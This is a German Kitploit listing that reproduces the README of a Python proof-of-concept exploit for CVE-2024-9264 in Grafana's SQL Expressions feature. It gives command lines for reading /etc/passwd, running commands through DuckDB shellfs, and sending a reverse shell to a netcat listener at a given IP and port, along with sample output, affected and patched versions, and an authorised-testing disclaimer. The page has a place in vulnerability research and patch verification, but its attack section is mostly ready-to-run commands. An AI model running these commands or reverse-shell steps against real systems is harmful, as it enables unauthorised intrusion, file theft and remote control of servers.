Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Tools/GitHubGitHub/ozcanpng/cve-2024-9264
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & Bildung
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Repository anzeigen
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

Python Proof of Concept für CVE-2024-9264, eine Grafana SQL Expressions Schwachstelle, die authentifizierten lokalen Dateizugriff und Befehlsausführung ermöglichen kann, wenn duckdb im PATH des Grafana-Prozesses verfügbar ist.

Nur für autorisierte Tests und Forschung. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.


Was es macht

root@kitploit:~
authentifizierter Grafana-API-Zugriff -> SQL Expressions DuckDB-Abfrage -> Dateiauslesen -> optionale Shellfs-Befehlsausführung
  1. Sendet eine authentifizierte Anfrage an den SQL Expressions Datenquellen-Endpunkt von Grafana.
  2. Liest Dateien mit DuckDB read_blob(). Wenn Befehlsausführung angefordert wird, wird zuerst /etc/passwd als Standard-Validierungsdatei verwendet.
  3. Lädt optional DuckDB shellfs und führt einen Befehl über einen pipe-gestützten -Aufruf aus.
Tool herunterladen
read_csv()
  • Liest die Befehlsausgabe aus /tmp/cve_2024_9264_out und gibt das decodierte Ergebnis aus.
  • Der anfällige Endpunkt kann direkt über die API aufgerufen werden; eine Dashboard-UI-Interaktion ist nicht erforderlich. Authentifizierung ist dennoch erforderlich.


    Screenshots

    Befehlsausführung

    Nachweis der Befehlsausführung

    Reverse-Shell-Payload

    Zustellung des Reverse-Shell-Payloads

    Reverse-Shell-Listener

    Reverse-Shell-Listener


    Setup

    root@kitploit:~
    git clone https://github.com/ozcanpng/CVE-2024-9264.git
    cd CVE-2024-9264
    python3 -m pip install -r requirements.txt
    

    Verwendung

    Dateiauslesen

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
    

    Wenn --file allein verwendet wird, liest das Skript diese Datei direkt und gibt den decodierten Inhalt im Abschnitt "Dateiauslese-Ergebnis" aus.

    Befehlsausführung

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
    

    Das Skript führt zuerst eine Standard-Validierung mittels Auslesen von /etc/passwd durch und liefert dann das Befehlspayload. Im Ergebnisteil gibt es die decodierte Befehlsausgabe anstelle der rohen Grafana-JSON-Antwort aus.

    Reverse Shell

    Starten Sie einen Listener:

    root@kitploit:~
    rlwrap nc -lvnp 4444
    

    Senden Sie das Reverse-Shell-Payload:

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
    

    Trockentest (Dry Run)

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
    

    Debug

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
    

    Optionen

    Diese Optionen basieren auf der aktuellen CLI des Skripts:

    root@kitploit:~
    -u, --url, --target TARGET
                            Ziel-URL, z. B. http://localhost:3000
    --username USERNAME     Grafana-Benutzername. Standard: admin
    --password PASSWORD     Grafana-Passwort. Standard: admin
    --file FILE             Dateipfad zum Auslesen. Standard-Validierungspfad: /etc/passwd
    --expected-marker MARKER
                            Marker, der in der Dateiauslese-Antwort erwartet wird. Standard: root:
    --cmd CMD               Befehl, der über den DuckDB-shellfs-Pfad ausgeführt werden soll
    --reverse-shell         Führt ein Bash-Reverse-Shell-Payload aus
    --lhost LHOST           Listener-Host für --reverse-shell
    --lport LPORT           Listener-Port für --reverse-shell
    --timeout TIMEOUT       HTTP-Timeout in Sekunden. Standard: 20
    --verify-tls            TLS-Zertifikate verifizieren. Standard: aktiviert
    -k, --insecure          TLS-Zertifikatsprüfung deaktivieren
    --dry-run               Ziel- und Payload-Metadaten anzeigen, ohne Anfragen zu senden
    --debug                 Debugging-Metadaten für Anfragen anzeigen
    

    Beispielausgabe

    Dateiauslesen

    root@kitploit:~
    [SCHRITT 2] Dateiauslese-Ergebnis
    --------------------------------------------------------------------
    [*] Dateipfad    : /etc/passwd
    [*] HTTP-Status  : 200
    [+] Dateiinhalt erfolgreich gelesen.
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    grafana:x:472:0::/home/grafana:/usr/sbin/nologin
    

    Befehlsausführung

    root@kitploit:~
    [SCHRITT 4] Ergebnis
    --------------------------------------------------------------------
    [*] HTTP-Status  : 200
    [+] Payload von Grafana akzeptiert.
    uid=472(grafana) gid=0(root) groups=0(root)
    

    Betroffene Versionen

    ProduktBetroffene VersionErforderlicher ZugriffAuswirkung
    Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x und 11.2.x vor den gepatchten SicherheitsreleasesViewer oder höherLokaler Dateizugriff und Befehlseinschleusung, wenn DuckDB im PATH von Grafana vorhanden ist

    Grafana weist darauf hin, dass die Ausnutzung erfordert, dass die Binärdatei duckdb im PATH des Grafana-Prozesses vorhanden ist; normale Grafana-Distributionen installieren DuckDB standardmäßig nicht.


    Hinweise

    • Gültige Grafana-Anmeldedaten sind erforderlich.
    • Der Account muss mindestens Viewer-Berechtigungen besitzen.
    • Direkte API-Ausnutzung bedeutet keine unauthentifizierte Ausnutzung; Anfragen benötigen weiterhin eine gültige Sitzung oder Basic-Auth-Anmeldedaten.
    • Das Dateiauslesen dient als erster Validierungsschritt vor der Befehlsausführung.
    • Die Befehlsausführung hängt von DuckDB und dem Verhalten der shellfs-Erweiterung in der Zielumgebung ab.
    • Für TLS-Ziele mit selbstsignierten Zertifikaten übergeben Sie -k oder --insecure.
    • Gepatchte Sicherheitsreleases umfassen Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 und 11.2.2+security-01.

    Referenzen

    • Grafana-Sicherheitshinweis - CVE-2024-9264
    • Grafana-Blog zum Sicherheitsrelease
    • NVD - CVE-2024-9264

    Autor

    ozcanpng - github.com/ozcanpng - ozcanpng.dev